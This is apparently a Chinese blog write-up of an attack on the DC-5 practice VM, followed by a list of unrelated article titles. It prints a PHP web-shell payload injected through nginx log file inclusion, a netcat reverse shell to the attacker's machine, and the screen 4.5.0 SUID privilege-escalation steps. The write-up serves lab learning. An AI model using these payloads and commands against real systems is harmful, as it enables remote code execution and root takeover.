仅供个人娱乐

靶机信息

下载地址:http://www.five86.com/downloads/DC-5.zip

一、主机扫描

arp-scan -l

nmap -p 1-65535 -A  -sV 192.168.17.131

二、信息收集

dirb http://192.168.17.131 /usr/share/wordlists/dirb/big.txt

用kali自带工具wfuzz(自带字典)扫描文件

cd /usr/share/wordlists/wfuzz/general

wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.17.131/FUZZ.php

三、漏洞利用

利用文件包含

远程文件包含

日志

http://192.168.25.135/thankyou.php?file=/var/log/nginx/access.log

http://192.168.17.131/thankyou.php?file=/var/log/nginx/error.log

重置靶机 ip 换为http://192.168.17.132

写入一句话

GET <?php system($_GET['cmd']); ?> HTTP/1.1

http://192.168.17.132/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.17.129 8888

root@kali:~/桌面# nc -lvvp 8888

或者使用

GET /thankyou.php?file=<?php @eval($_REQUEST[cmd]);?> HTTP/1.1

python -c 'import pty;pty.spawn("/bin/bash")'

查找www-data用户具有suid权限的命令

find / -perm -4000 2>/dev/null

发现命令   /bin/screen-4.5.0

根据内容进行编译 直接上传出现问题,在kali编译在蚁剑上传

root@kali:/tmp# vi libhax.c

root@kali:/tmp# gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

root@kali:/tmp# rm -f /tmp/libhax.c

root@kali:/tmp# vi rootshell.c

root@kali:/tmp# gcc -o /tmp/rootshell /tmp/rootshell.c

root@kali:/tmp# rm -f /tmp/rootshell.c

蚁剑上传

或者使用

scp root@192.168.17.129:/tmp/libhax.so /tmp/

scp root@192.168.17.129:/tmp/rootshell /tmp/

继续按照脚本

将41154.sh中剩下部分代码另存为dc5.sh脚本文件

并在保存dc5.sh文件输入:set ff=unix ,否则在执行脚本文件时后出错

www-data@dc-5:/tmp$ chmod+x toroot.sh

www-data@dc-5:/tmp$./toroot.sh

最新文章

  1. Oracle基础维护02-表、主键、索引、表结构维护手册
  2. Scalaz(58)- scalaz-stream: fs2-并行运算示范,fs2 parallel processing
  3. 93、持续集成以及Jenkins的知识介绍
  4. K-Means 聚类算法原理分析与代码实现
  5. HP_UX HBA 卡信息收集脚本
  6. 解压缩c#
  7. [原]openstack-kilo--issue(七):虚拟机怎么通外网,外网怎么ping通虚拟机
  8. 按下enter键后表单自动提交问题
  9. Java眼中的XML--文件读取--2 应用SAX方式解析XML
  10. UIkit框架之Uivew
  11. API 版本控制
  12. xml文件的解析
  13. 了解神奇的this
  14. linux c 得到文件大小
  15. CI分页器pagination的原理及实现
  16. python实现k-近邻算法
  17. 安装redis报错 you need tcl 8.5 or newer in order to run redis test
  18. Vue遇到的问题
  19. MySQL 字符集utf8和utf-8的关系
  20. renren_fast性能测试平台的安装部署

热门文章

  1. NOIP模拟测试2「排列 (搜索)&#183;APIO划艇」
  2. 重新整理 .net core 实践篇—————工作单元模式[二十六]
  3. MySQL到ClickHouse实时同步-CloudCanal实战
  4. 高性能的Redis之对象底层实现原理详解
  5. 计算机网络的参考模型与5G协议
  6. 12-2 MySQL数据库备份(分表)
  7. 27、Tomcat服务的安装与配置
  8. 14、mysql主从复制实战
  9. redis广播/订阅模式演示
  10. 在CentOS7环境下部署weblogic集群